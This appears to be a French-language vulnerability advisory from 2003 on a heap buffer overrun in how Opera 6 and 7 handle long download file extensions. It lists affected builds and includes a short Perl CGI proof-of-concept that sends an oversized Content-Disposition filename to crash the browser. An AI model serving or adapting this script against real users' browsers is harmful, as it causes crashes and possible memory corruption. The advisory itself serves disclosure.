| 
                        
                          | Opera 7-6 Long File Extension Heap Buffer Overrun in Download |   Date de Publication: 2003-04-29Titre: Opera 7-6 Long File Extension Heap Buffer Overrun
 K-Otik ID : 0042
 Exploitable à distance : Non
 Exploitable en local : Oui
 
 
 * Description Technique - Exploit *
 
 Opéra ne vérifie pas correctement la longueur des extensions et ne limite pas cette longueur. Ce qui produit un recouvrement par des données arbitraires, et donc le crash.
 
 ---------------------------  Sample Script  --------------------------
 #!/usr/bin/perl
 # Smash Heap Memory.
 # This script is CGI program.
 
 $|=1;
 my $filename = "." . "\xCC" x (int(rand(0x20000)) + 0x100);
 
 print "Content-type: text/html\r\n";
 print qq~Content-Disposition: filename="$filename"\r\n~;
 print "\r\n";
 print "<html><body>Love & Peace :)</body></html>\r\n";
 -------------------------------------------------------------------------
 
 
 * Versions Vulnérables *
 
 Plateforme : Windows
 7.10 build 2840
 7.03 build 2670
 7.02 build 2668
 7.02 bork build 2656b
 7.01 build 2651
 6.06b build 1145
 6.06 build 1144
 6.05 build 1140
 
 
 * Solution *
 
 http://www.opera.com
 
 * Crédits *
 
 Faille découverte par l'équipe de Operash (Avril 2003).
 |